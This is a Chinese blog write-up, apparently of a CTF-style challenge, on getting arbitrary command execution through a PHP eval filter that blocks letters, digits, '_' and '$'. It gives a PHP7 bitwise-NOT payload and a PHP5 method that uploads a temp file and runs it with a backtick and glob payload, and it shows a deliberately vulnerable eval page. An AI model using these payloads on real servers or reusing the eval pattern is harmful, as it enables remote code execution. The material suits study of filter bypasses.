构造无字母数字的webshell实现任意命令执行

最新推荐文章于 2024-08-18 21:36:31 发布

发呆喜欢发呆

最新推荐文章于 2024-08-18 21:36:31 发布

阅读量608

点赞数 13

文章标签： java 前端 linux

本文链接：https://blog.csdn.net/2201_75913164/article/details/141114837

版权

相关代码

<?php
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>35){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9_$]+/",$code)){
        die("NO.");
    }
    eval($code);
}else{
    highlight_file(__FILE__);
}

分析题目可以得知有限制条件：

过滤了大小写字母、数字、_、$，这些方法都无法使用

PHP7中：

PHP7前是不允许用($a)();这样的方法来执行动态函数的，但PHP7中增加了对此的支持。

所以，我们可以通过('phpinfo')();来执行函数，第一个括号中可以是任意PHP表达式。

因为有大小写字母的限制，我们首先需要将phpinfo这个字符串转换为URL编码，但在linux中~是表示反码，既就是取反。刚好加在前面就可以。所以我们得到：

(~%8F%97%8F%96%91%99%90)();

测试结果如图所示：

PHP5中：

考虑用“反引号”+“shell”的方式来getshell，因为反引号不属于“字母”、“数字”，所以我们可以执行系统命令，但问题是如何利用无字母、数字、$的系统命令来getshell？科普新的知识：

1、shell下可以利用. 来执行任意脚本

它的作用和source一样，就是用当前的shell执行一个文件中的命令。

比如：当前运行的shell是bash，则. file的意思就是用bash执行file文件中的命令。

用. file执行文件，是不需要file有x权限的。

那么，如果目标服务器上有一个我们可控的文件，那就可以利用.来执行它

这个文件也很好得到，我们可以发送一个上传文件的POST包，此时PHP会将我们上传的文件保存在临时文件夹下，默认的文件名是/tmp/phpXXXXXX，文件名最后6个字符是随机的大小写字母。

2、Linux文件名支持用glob通配符代替

执行. /tmp/phpXXXXXX，也是有字母的。此时就可以用到Linux下的glob通配符：

*可以代替0个及以上任意字符

?可以代表1个任意字符

那么，/tmp/phpXXXXXX就可以表示为/*/?????????或/???/?????????。

但如果执行. /???/?????????，页面会显示错误，这是由于执行. /???/?????????通配符后的文件有很多，例如：

我们可以发现在执行第一个匹配上的文件（即/bin/abrt-cli）的时候就已经出现了错误，导致整个流程停止，根本不会执行到我们上传的文件。

就跟正则表达式类似，glob支持利用[0-9]来表示一个范围。

再来看之前列出可能干扰我们的文件,发现所有文件名都是小写，只有PHP生成的临时文件包含大写字母。我们只要找到一个可以表示“大写字母”的glob通配符，就能精准找到我们要执行的文件。

打开asci码表：

可见大写字母位于64@与91[之间：

我们可以利用[@-[]来表示大写字母：. /???/????????[@-[]

上传文件测试：

web.html

<!DOCTYPE html>
<html lang="en">
 
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
 
<body>
    <form action="web.php" method="post" enctype="multipart/form-data">
        <input type="file" name="upload_file" id="">
        <input type="submit" value="submit">
    </form>
</body>
 
</html>

web.php

<?php
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>35){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9_$]+/",$code)){
        die("NO.");
    }
    eval($code);
}else{
    highlight_file(__FILE__);
}

上传一个文件进行测试：

进行抓包测试：

web.php包：

将Content-Type: multipart/form-data;增加到web.php包中

现在我们就可以在这里使用POST构造出临时文件，使用GET匹配临时文件

GE传入的T参数：?><?=`.+/%3f%3f%3f/%3f%3f%3f%3f%3f%3f%3f%3f%[%40-[]`%3b

得到最后的结果：

成功完成。

发呆喜欢发呆

关注

13
点赞
踩
11

收藏

觉得还不错? 一键收藏
0
评论
构造无字母数字的webshell实现任意命令执行

这个文件也很好得到，我们可以发送一个上传文件的POST包，此时PHP会将我们上传的文件保存在临时文件夹下，默认的文件名是/tmp/phpXXXXXX，文件名最后6个字符是随机的大小写字母。刚好加在前面就可以。我们可以发现在执行第一个匹配上的文件（即/bin/abrt-cli）的时候就已经出现了错误，导致整个流程停止，根本不会执行到我们上传的文件。，页面会显示错误，这是由于执行. /?GE传入的T参数：?
复制链接

扫一扫